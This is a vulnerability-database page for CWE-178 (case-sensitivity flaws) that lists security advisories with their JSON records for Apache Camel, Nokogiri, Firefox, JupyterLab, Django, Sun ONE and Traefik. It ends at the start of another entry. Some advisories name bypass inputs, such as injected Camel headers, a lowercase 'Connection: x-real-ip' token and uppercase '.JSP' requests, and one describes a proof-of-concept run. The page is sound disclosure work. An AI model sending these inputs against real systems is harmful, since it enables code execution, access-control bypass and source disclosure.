CWE-178
AllowedImproper Handling of Case Sensitivity
Abstraction: Base · Status: Incomplete
The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
158 vulnerabilities reference this CWE, most recent first.
GHSA-8364-HFQJ-PWM6
Vulnerability from github – Published: 2026-05-19 15:31 – Updated: 2026-06-04 18:49Camel-CXF and Camel-Knative Message Header Injection via Missing Inbound Filtering
The CXF and Knative HeaderFilterStrategy implementations (CxfRsHeaderFilterStrategy in camel-cxf-rest, CxfHeaderFilterStrategy in camel-cxf-transport, and KnativeHttpHeaderFilterStrategy in camel-knative-http) only filter outbound Camel-internal headers via setOutFilterStartsWith, while not configuring inbound filtering via setInFilterStartsWith. As a result, an unauthenticated attacker can inject Camel-internal headers (e.g. CamelExecCommandExecutable, CamelFileName) via HTTP requests to CXF-RS or CXF-SOAP endpoints. When a route forwards messages from these endpoints to header-driven components such as camel-exec or camel-file, the injected headers override configured values, enabling remote code execution or arbitrary file writes. This is the same pattern that was previously addressed in camel-undertow (CVE-2025-30177), the broader incoming-header filter (CVE-2025-27636 and CVE-2025-29891), and non-HTTP strategies (CVE-2026-40453).
This issue affects Apache Camel: from 3.18.0 before 4.14.6, from 4.15.0 before 4.18.2.
Users are recommended to upgrade to version 4.19.0, which fixes the issue. If users are on the 4.18.x LTS releases stream, then they are suggested to upgrade to 4.18.2. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-cxf-rest"
},
"ranges": [
{
"events": [
{
"introduced": "3.18.0"
},
{
"fixed": "4.14.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-cxf-rest"
},
"ranges": [
{
"events": [
{
"introduced": "4.15.0"
},
{
"fixed": "4.18.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47323"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T18:49:44Z",
"nvd_published_at": "2026-05-19T14:16:48Z",
"severity": "CRITICAL"
},
"details": "Camel-CXF and Camel-Knative Message Header Injection via Missing Inbound Filtering\n\nThe CXF and Knative HeaderFilterStrategy implementations (CxfRsHeaderFilterStrategy in camel-cxf-rest, CxfHeaderFilterStrategy in camel-cxf-transport, and KnativeHttpHeaderFilterStrategy in camel-knative-http) only filter outbound Camel-internal headers via setOutFilterStartsWith, while not configuring inbound filtering via setInFilterStartsWith. As a result, an unauthenticated attacker can inject Camel-internal headers (e.g. CamelExecCommandExecutable, CamelFileName) via HTTP requests to CXF-RS or CXF-SOAP endpoints. When a route forwards messages from these endpoints to header-driven components such as camel-exec or camel-file, the injected headers override configured values, enabling remote code execution or arbitrary file writes. This is the same pattern that was previously addressed in camel-undertow (CVE-2025-30177), the broader incoming-header filter (CVE-2025-27636 and CVE-2025-29891), and non-HTTP strategies (CVE-2026-40453).\n\n\nThis issue affects Apache Camel: from 3.18.0 before 4.14.6, from 4.15.0 before 4.18.2.\n\nUsers are recommended to upgrade to version 4.19.0, which fixes the issue. If users are on the 4.18.x LTS releases stream, then they are suggested to upgrade to 4.18.2. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6.",
"id": "GHSA-8364-hfqj-pwm6",
"modified": "2026-06-04T18:49:44Z",
"published": "2026-05-19T15:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47323"
},
{
"type": "WEB",
"url": "https://camel.apache.org/security/CVE-2026-47323.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/camel"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Camel-CXF and Camel-Knative Message Header are Vulnerable to Injection via Missing Inbound Filtering"
}
GHSA-8678-W3JW-XFC2
Vulnerability from github – Published: 2026-06-19 16:36 – Updated: 2026-06-19 16:36Summary
The NONET parse option, which Nokogiri turns on by default for Nokogiri::XML::Schema (see CVE-2020-26247), was not correctly enforced on the JRuby implementation. As a result, a schema parsed with default options could still cause external resources to be fetched over the network, potentially enabling SSRF or XXE attacks.
Nokogiri 1.19.4 replaces the scheme denylist with an allowlist. When NONET is enabled, only local resources (a file: scheme, or a relative or absolute path with no scheme) are resolved, and every network scheme is blocked, case-insensitively. This brings the JRuby behavior in line with CRuby.
Only the JRuby implementation is affected. CRuby is not affected, because libxml2's xmlNoNetExternalEntityLoader blocks all network schemes at the I/O layer regardless of scheme or case.
Severity
The Nokogiri maintainers have evaluated this as low severity (CVSS 2.6, CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N). It is a bypass of CVE-2020-26247, which was scored the same way.
Mitigation
Upgrade to Nokogiri 1.19.4 or later.
There are no known workarounds for affected versions.
This change properly enforces NONET on JRuby, which is a breaking change for any code that (perhaps unknowingly) relied on the previous behavior to load network resources with default parse options. If you trust your input and want to allow external resources to be accessed over the network, you can explicitly disable NONET, exactly as documented for CVE-2020-26247:
- Ensure the input is trusted. Do not enable this option for untrusted input.
- Pass a
Nokogiri::XML::ParseOptionswith theNONETflag turned off:
# allows resources to be accessed over the network for trusted input
schema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)
References
- Bypass of: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-vr8q-g5c7-m54m
Credit
This issue was responsibly reported by @bilerden.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "nokogiri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-184",
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T16:36:11Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nThe `NONET` parse option, which Nokogiri turns on by default for `Nokogiri::XML::Schema` (see [CVE-2020-26247](https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-vr8q-g5c7-m54m)), was not correctly enforced on the JRuby implementation. As a result, a schema parsed with default options could still cause external resources to be fetched over the network, potentially enabling SSRF or XXE attacks.\n\nNokogiri 1.19.4 replaces the scheme denylist with an allowlist. When `NONET` is enabled, only local resources (a `file:` scheme, or a relative or absolute path with no scheme) are resolved, and every network scheme is blocked, case-insensitively. This brings the JRuby behavior in line with CRuby.\n\nOnly the JRuby implementation is affected. CRuby is not affected, because libxml2\u0027s `xmlNoNetExternalEntityLoader` blocks all network schemes at the I/O layer regardless of scheme or case.\n\n### Severity\n\nThe Nokogiri maintainers have evaluated this as low severity (CVSS 2.6, `CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N`). It is a bypass of CVE-2020-26247, which was scored the same way.\n\n### Mitigation\n\nUpgrade to Nokogiri 1.19.4 or later.\n\nThere are no known workarounds for affected versions.\n\nThis change properly enforces `NONET` on JRuby, which is a breaking change for any code that (perhaps unknowingly) relied on the previous behavior to load network resources with default parse options. If you trust your input and want to allow external resources to be accessed over the network, you can explicitly disable `NONET`, exactly as documented for CVE-2020-26247:\n\n1. Ensure the input is trusted. Do not enable this option for untrusted input.\n2. Pass a `Nokogiri::XML::ParseOptions` with the `NONET` flag turned off:\n\n``` ruby\n# allows resources to be accessed over the network for trusted input\nschema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)\n```\n\n### References\n\n- Bypass of: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-vr8q-g5c7-m54m\n\n### Credit\n\nThis issue was responsibly reported by @bilerden.",
"id": "GHSA-8678-w3jw-xfc2",
"modified": "2026-06-19T16:36:11Z",
"published": "2026-06-19T16:36:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-8678-w3jw-xfc2"
},
{
"type": "PACKAGE",
"url": "https://github.com/sparklemotion/nokogiri"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nokogiri: XML::Schema on JRuby allows network requests when NONET is set, bypassing CVE-2020-26247"
}
GHSA-893R-MPWJ-QHHG
Vulnerability from github – Published: 2024-06-11 15:31 – Updated: 2024-08-12 18:30In violation of spec, cookie prefixes such as __Secure were being ignored if they were not correctly capitalized - by spec they should be checked with a case-insensitive comparison. This could have resulted in the browser not correctly honoring the behaviors specified by the prefix. This vulnerability affects Firefox < 127.
{
"affected": [],
"aliases": [
"CVE-2024-5699"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-11T13:15:51Z",
"severity": "CRITICAL"
},
"details": "In violation of spec, cookie prefixes such as `__Secure` were being ignored if they were not correctly capitalized - by spec they should be checked with a case-insensitive comparison. This could have resulted in the browser not correctly honoring the behaviors specified by the prefix. This vulnerability affects Firefox \u003c 127.",
"id": "GHSA-893r-mpwj-qhhg",
"modified": "2024-08-12T18:30:44Z",
"published": "2024-06-11T15:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5699"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1891349"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2024-25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-89VP-JRXV-24W8
Vulnerability from github – Published: 2026-07-22 23:14 – Updated: 2026-08-12 19:56JupyterLab's PyPI extension manager enforces blocked_extensions_uris by comparing the requested install name to blocklist entries with a custom string normalization that is weaker than PyPI package-name canonicalization. An authenticated user can request a PyPI-equivalent spelling such as JupyterLab.Git for a blocklisted package such as jupyterlab-git; JupyterLab accepts the install request even though pip resolves the variant to the same package.
This has security implications only for deployments that combine all of the following: - an allowlist/blocklist configured with the intent of restricting which packages users can install; - the (default) PyPI Extension Manager enabled; and - kernels and terminals disabled or delegated to remote hosts (otherwise a user with kernel access can install packages directly regardless of this check)
Impact
The vulnerability lets an authenticated user install a package the operator specifically intended to block, defeating the allowlist/blocklist control. Because extensions in principle allow for arbitrary code execution, this vulnerability enables untrusted users to impact the integrity and availability of the jupyter-server instance that was provisioned to them. The user already has access to their own single-user server's data, so installing an extension grants no new read access.
In particular, the integrity of data can be impacted, and any hardening or restrictions on permitted user actions (download/upload limits) within the single-user server can be circumvented. Availability impact on a JupyterHub deployment is limited: while a user can be expected to exhaust their own kernel pod's resources, this vulnerability makes it easier to also exhaust the single-user server resources or generate more requests to shared resources; where limits are absent, resource exhaustion could potentially degrade the wider deployment.
Patches
JupyterLab v4.6.2 and v4.5.10 contain the patch.
Users of applications that depend on JupyterLab, such as Notebook v7+, should update jupyterlab package too.
Workarounds
No action is required for deployments that do not have a custom allow/block list configured. Deployments wanting to disable programmatic extension installation entirely can switch to the read-only extension manager:
--LabApp.extension_manager=readonly
or the following traitlet:
c.LabApp.extension_manager = 'readonly'
You can confirm that the read-only manager is in use from GUI:
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.1"
},
"package": {
"ecosystem": "PyPI",
"name": "jupyterlab"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.0"
},
{
"fixed": "4.6.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.9"
},
"package": {
"ecosystem": "PyPI",
"name": "jupyterlab"
},
"ranges": [
{
"events": [
{
"introduced": "4.5.0"
},
{
"fixed": "4.5.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73416"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-180"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T23:14:27Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "JupyterLab\u0027s PyPI extension manager enforces `blocked_extensions_uris` by comparing the requested install name to blocklist entries with a custom string normalization that is weaker than PyPI package-name canonicalization. An authenticated user can request a PyPI-equivalent spelling such as `JupyterLab.Git` for a blocklisted package such as `jupyterlab-git`; JupyterLab accepts the install request even though pip resolves the variant to the same package.\n\nThis has security implications only for deployments that combine all of the following:\n- an allowlist/blocklist configured with the intent of restricting which packages users can install;\n- the (default) PyPI Extension Manager enabled; and\n- kernels and terminals disabled or delegated to remote hosts (otherwise a user with kernel access can install packages directly regardless of this check) \n\n### Impact\n\nThe vulnerability lets an authenticated user install a package the operator specifically intended to block, defeating the allowlist/blocklist control. Because extensions in principle allow for arbitrary code execution, this vulnerability enables untrusted users to impact the integrity and availability of the jupyter-server instance that was provisioned to them. The user already has access to their own single-user server\u0027s data, so installing an extension grants no new read access.\n\nIn particular, the integrity of data can be impacted, and any hardening or restrictions on permitted user actions (download/upload limits) within the single-user server can be circumvented. Availability impact on a JupyterHub deployment is limited: while a user can be expected to exhaust their own kernel pod\u0027s resources, this vulnerability makes it easier to also exhaust the single-user server resources or generate more requests to shared resources; where limits are absent, resource exhaustion could potentially degrade the wider deployment.\n\n### Patches\n\nJupyterLab [`v4.6.2`](https://github.com/jupyterlab/jupyterlab/releases/tag/v4.6.2) and [`v4.5.10`](https://github.com/jupyterlab/jupyterlab/releases/tag/v4.5.10) contain the patch.\n\nUsers of applications that depend on JupyterLab, such as Notebook v7+, should update `jupyterlab` package too.\n\n### Workarounds\n\nNo action is required for deployments that do not have a custom allow/block list configured. Deployments wanting to disable programmatic extension installation entirely can switch to the read-only extension manager:\n\n```bash\n--LabApp.extension_manager=readonly\n```\n\nor the following traitlet:\n\n```python\nc.LabApp.extension_manager = \u0027readonly\u0027\n```\n\nYou can confirm that the read-only manager is in use from GUI:\n\n\u003cimg width=\"293\" height=\"293\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8016c809-633e-4ed0-a5bc-6bc4793caa0f\" /\u003e",
"id": "GHSA-89vp-jrxv-24w8",
"modified": "2026-08-12T19:56:08Z",
"published": "2026-07-22T23:14:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-89vp-jrxv-24w8"
},
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab/pull/19184"
},
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab/pull/19185"
},
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab/pull/19186"
},
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab/commit/be9303f5bcd5308eaeae953c5a3c903046682c2c"
},
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab/commit/f1beab4a2027af4719d6edc07d52d6cf5a39a432"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyterlab/jupyterlab"
},
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab/releases/tag/v4.5.10"
},
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab/releases/tag/v4.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "JupyterLab: PyPI extension blocklist package-name canonicalization bypass"
}
GHSA-8CJM-8MP7-R2XF
Vulnerability from github – Published: 2026-06-03 15:30 – Updated: 2026-08-07 20:03An issue was discovered in Django 5.2 before 5.2.15 and 6.0 before 6.0.6.
django.middleware.cache.UpdateCacheMiddleware in Django does not match Cache-Control response directives case-insensitively, which allows remote attackers to read responses that were incorrectly cached because their Cache-Control directives used uppercase or mixed-case values.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Ahmed Badawe for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "django"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.2.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "django"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-8404"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-07T20:03:57Z",
"nvd_published_at": "2026-06-03T14:16:47Z",
"severity": "LOW"
},
"details": "An issue was discovered in Django 5.2 before 5.2.15 and 6.0 before 6.0.6.\n`django.middleware.cache.UpdateCacheMiddleware` in Django does not match `Cache-Control` response directives case-insensitively, which allows remote attackers to read responses that were incorrectly cached because their `Cache-Control` directives used uppercase or mixed-case values.\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\nDjango would like to thank Ahmed Badawe for reporting this issue.",
"id": "GHSA-8cjm-8mp7-r2xf",
"modified": "2026-08-07T20:03:57Z",
"published": "2026-06-03T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8404"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/366d9ae6e8d1469c04e9ebdc1bcd098fc14a3b1e"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/b4330259ffbe1a031ed14daab1f35697460f10f2"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/d618d7ae4fec727d5b582bd24f803c28d17bf7cd"
},
{
"type": "WEB",
"url": "https://docs.djangoproject.com/en/dev/releases/security"
},
{
"type": "PACKAGE",
"url": "https://github.com/django/django"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2026-201.yaml"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/django-announce"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2026/jun/03/security-releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Django: UpdateCacheMiddleware may disclose cached responses due to case-sensitive Cache-Control handling"
}
GHSA-8FFW-58MQ-48W9
Vulnerability from github – Published: 2022-04-29 01:26 – Updated: 2024-02-02 03:30Sun ONE Application Server 7.0 for Windows 2000/XP allows remote attackers to obtain JSP source code via a request that uses the uppercase ".JSP" extension instead of the lowercase .jsp extension.
{
"affected": [],
"aliases": [
"CVE-2003-0411"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2003-06-30T04:00:00Z",
"severity": "MODERATE"
},
"details": "Sun ONE Application Server 7.0 for Windows 2000/XP allows remote attackers to obtain JSP source code via a request that uses the uppercase \".JSP\" extension instead of the lowercase .jsp extension.",
"id": "GHSA-8ffw-58mq-48w9",
"modified": "2024-02-02T03:30:30Z",
"published": "2022-04-29T01:26:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2003-0411"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=105409846029475\u0026w=2"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F55221\u0026zone_32=category%3Asecurity"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-77-1000610.1-1"
},
{
"type": "WEB",
"url": "http://www.ciac.org/ciac/bulletins/n-103.shtml"
},
{
"type": "WEB",
"url": "http://www.iss.net/security_center/static/12093.php"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/7709"
},
{
"type": "WEB",
"url": "http://www.spidynamics.com/sunone_alert.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-92MV-8F8W-WQ52
Vulnerability from github – Published: 2026-03-04 21:19 – Updated: 2026-03-05 22:37Impact
There is a potential vulnerability in Traefik managing the Connection header with X-Forwarded headers.
When Traefik processes HTTP/1.1 requests, the protection put in place to prevent the removal of Traefik-managed X-Forwarded headers (such as X-Real-Ip, X-Forwarded-Host, X-Forwarded-Port, etc.) via the Connection header does not handle case sensitivity correctly. The Connection tokens are compared case-sensitively against the protected header names, but the actual header deletion operates case-insensitively. As a result, a remote unauthenticated client can use lowercase Connection tokens (e.g. Connection: x-real-ip) to bypass the protection and trigger the removal of Traefik-managed forwarded identity headers.
This is a bypass of the fix for CVE-2024-45410.
Depending on the deployment, the impact may be higher if downstream services rely on these headers (such as X-Real-Ip or X-Forwarded-*) for authentication, authorization, routing, or scheme decisions.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.38
- https://github.com/traefik/traefik/releases/tag/v3.6.9
Workarounds
No workaround available.
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description Traefik's XForwarded middleware (removeConnectionHeaders) tries to prevent clients from using the Connection header to strip trusted X-Forwarded-* headers, but the protection compares the Connection tokens case-sensitively while the deletion is case-insensitive. As a result, a remote unauthenticated client can send a lowercase token like Connection: x-real-ip and still trigger deletion of traefik-managed X-Real-Ip (and similarly named headers in the managed list). This can cause downstream routing, scheme, and header-based authn/authz decisions to be evaluated with missing trusted forwarding identity headers. ### Severity CRITICAL Rationale: the PoC demonstrates an end-to-end access control bypass pattern when a downstream service uses proxy-provided identity headers (for example, X-Real-Ip) for IP allowlists or trust decisions. A remote unauthenticated client can strip the traefik-managed identity header via a lowercase Connection token, causing the downstream service to evaluate the request without the expected header signal. ### Relevant Links - Repository: https://github.com/traefik/traefik - Pinned commit: a4a91344edcdd6276c1b766ca19ee3f0e346480f - Callsite (pinned): https://github.com/traefik/traefik/blob/a4a91344edcdd6276c1b766ca19ee3f0e346480f/pkg/middlewares/forwardedheaders/forwarded_header.go#L225 ### Vulnerability Details #### Root Cause removeConnectionHeaders uses a case-sensitive membership check for protected header names when inspecting Connection tokens, but it deletes headers via net/http which treats header names case-insensitively. A lowercase token bypasses the protection check and still triggers deletion. #### Attacker Control / Attack Path Remote unauthenticated HTTP client (untrusted IP) sends Connection: x-real-ip, and Traefik deletes the generated X-Real-Ip header. ### Proof of Concept The attached poc.zip contains a deterministic, make-based integration PoC with a canonical run and a negative control. Canonical (vulnerable): unzip poc.zip -d poc cd poc make test Output contains: [CALLSITE_HIT]: pkg/middlewares/forwardedheaders/forwarded_header.go:225 [PROOF_MARKER]: downstream_admin_bypass=1 x_real_ip_present=0 Control (same env, no lowercase token): unzip poc.zip -d poc cd poc make test Output contains: [CALLSITE_HIT]: pkg/middlewares/forwardedheaders/forwarded_header.go:225 [NC_MARKER]: downstream_admin_bypass=0 x_real_ip_present=1 Expected: Connection tokens are handled case-insensitively and protected identity headers (for example, X-Real-Ip and X-Forwarded-*) are not deleted due to client-supplied Connection options (regardless of token casing). Actual: Lowercase Connection tokens bypass the protection check and still trigger deletion of traefik-managed identity headers (for example, X-Real-Ip). ### Recommended Fix - Case-fold (or otherwise canonicalize) Connection header tokens before comparing them against protected header names. - Add a regression test covering lowercase tokens (for example, Connection: x-real-ip). Fix accepted when: a request with Connection: x-real-ip does not cause deletion of traefik-managed X-Real-Ip, and a regression test covers this behavior.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.37"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.11.9"
},
{
"fixed": "2.11.38"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.8"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.3"
},
{
"fixed": "3.6.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29054"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T21:19:08Z",
"nvd_published_at": "2026-03-05T19:16:15Z",
"severity": "HIGH"
},
"details": "## Impact\n\nThere is a potential vulnerability in Traefik managing the `Connection` header with `X-Forwarded` headers.\n\nWhen Traefik processes HTTP/1.1 requests, the protection put in place to prevent the removal of Traefik-managed `X-Forwarded` headers (such as `X-Real-Ip`, `X-Forwarded-Host`, `X-Forwarded-Port`, etc.) via the `Connection` header does not handle case sensitivity correctly. The `Connection` tokens are compared case-sensitively against the protected header names, but the actual header deletion operates case-insensitively. As a result, a remote unauthenticated client can use lowercase `Connection` tokens (e.g. `Connection: x-real-ip`) to bypass the protection and trigger the removal of Traefik-managed forwarded identity headers.\n\nThis is a bypass of the fix for [CVE-2024-45410](https://github.com/traefik/traefik/security/advisories/GHSA-62c8-mh53-4cqv).\n\nDepending on the deployment, the impact may be higher if downstream services rely on these headers (such as `X-Real-Ip` or `X-Forwarded-*`) for authentication, authorization, routing, or scheme decisions.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.38\n- https://github.com/traefik/traefik/releases/tag/v3.6.9\n\n## Workarounds\n\nNo workaround available.\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\nTraefik\u0027s XForwarded middleware (removeConnectionHeaders) tries to prevent clients from using the Connection header to strip trusted X-Forwarded-* headers, but the protection compares the Connection tokens case-sensitively while the deletion is case-insensitive.\n\nAs a result, a remote unauthenticated client can send a lowercase token like Connection: x-real-ip and still trigger deletion of traefik-managed X-Real-Ip (and similarly named headers in the managed list).\n\nThis can cause downstream routing, scheme, and header-based authn/authz decisions to be evaluated with missing trusted forwarding identity headers.\n\n### Severity\n\nCRITICAL\n\nRationale: the PoC demonstrates an end-to-end access control bypass pattern when a downstream service uses proxy-provided identity headers (for example, X-Real-Ip) for IP allowlists or trust decisions. A remote unauthenticated client can strip the traefik-managed identity header via a lowercase Connection token, causing the downstream service to evaluate the request without the expected header signal.\n\n### Relevant Links\n\n- Repository: https://github.com/traefik/traefik\n- Pinned commit: a4a91344edcdd6276c1b766ca19ee3f0e346480f\n- Callsite (pinned): https://github.com/traefik/traefik/blob/a4a91344edcdd6276c1b766ca19ee3f0e346480f/pkg/middlewares/forwardedheaders/forwarded_header.go#L225\n\n### Vulnerability Details\n\n#### Root Cause\n\nremoveConnectionHeaders uses a case-sensitive membership check for protected header names when inspecting Connection tokens, but it deletes headers via net/http which treats header names case-insensitively. A lowercase token bypasses the protection check and still triggers deletion.\n\n#### Attacker Control / Attack Path\n\nRemote unauthenticated HTTP client (untrusted IP) sends Connection: x-real-ip, and Traefik deletes the generated X-Real-Ip header.\n\n### Proof of Concept\n\nThe attached poc.zip contains a deterministic, make-based integration PoC with a canonical run and a negative control.\n\nCanonical (vulnerable):\n\n unzip poc.zip -d poc\n cd poc\n make test\n\nOutput contains:\n\n [CALLSITE_HIT]: pkg/middlewares/forwardedheaders/forwarded_header.go:225\n [PROOF_MARKER]: downstream_admin_bypass=1 x_real_ip_present=0\n\nControl (same env, no lowercase token):\n\n unzip poc.zip -d poc\n cd poc\n make test\n\nOutput contains:\n\n [CALLSITE_HIT]: pkg/middlewares/forwardedheaders/forwarded_header.go:225\n [NC_MARKER]: downstream_admin_bypass=0 x_real_ip_present=1\n\nExpected: Connection tokens are handled case-insensitively and protected identity headers (for example, X-Real-Ip and X-Forwarded-*) are not deleted due to client-supplied Connection options (regardless of token casing).\n\nActual: Lowercase Connection tokens bypass the protection check and still trigger deletion of traefik-managed identity headers (for example, X-Real-Ip).\n\n### Recommended Fix\n\n- Case-fold (or otherwise canonicalize) Connection header tokens before comparing them against protected header names.\n- Add a regression test covering lowercase tokens (for example, Connection: x-real-ip).\n\nFix accepted when: a request with Connection: x-real-ip does not cause deletion of traefik-managed X-Real-Ip, and a regression test covers this behavior.\n\n\u003c/details\u003e",
"id": "GHSA-92mv-8f8w-wq52",
"modified": "2026-03-05T22:37:26Z",
"published": "2026-03-04T21:19:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-92mv-8f8w-wq52"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29054"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.38"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "traefik CVE-2024-45410 fix bypass: lowercase `Connection` tokens can delete traefik-managed forwarded identity headers (for example, `X-Real-Ip`)"
}
GHSA-937X-GPQR-72GG
Vulnerability from github – Published: 2026-07-17 20:11 – Updated: 2026-07-17 20:111. Header
